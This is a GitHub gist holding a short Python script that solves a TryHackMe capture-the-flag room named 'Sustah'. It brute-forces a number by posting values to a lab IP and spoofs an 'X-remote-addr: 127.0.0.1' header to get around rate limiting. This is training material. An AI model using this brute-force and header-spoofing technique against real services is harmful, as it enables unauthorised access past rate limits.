Skip to content

Instantly share code, notes, and snippets.

@0xsan-z
Last active February 11, 2021 14:43
Show Gist options
  • Save 0xsan-z/1694cd4dcd93e454cd8b8084570c3a35 to your computer and use it in GitHub Desktop.
Save 0xsan-z/1694cd4dcd93e454cd8b8084570c3a35 to your computer and use it in GitHub Desktop.
Python Script to Brute Force Number for TryHackMe's Room named Sustah
#!/usr/bin/env python
# https://0xsanz.medium.com/sustah-tryhackme-45550a6fe7e3
import requests
for x in range(10000, 25000):
r = requests.post('http://10.10.91.116:8085', data = {'number':x},headers = {'X-remote-addr': '127.0.0.1'})
reply = r.text
if "Oh no! How unlucky. Spin the wheel and try again" in r.text:
print("No Dice :( for Number " + str(x))
else:
print("Bingo!! Number is " + str(x))
exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment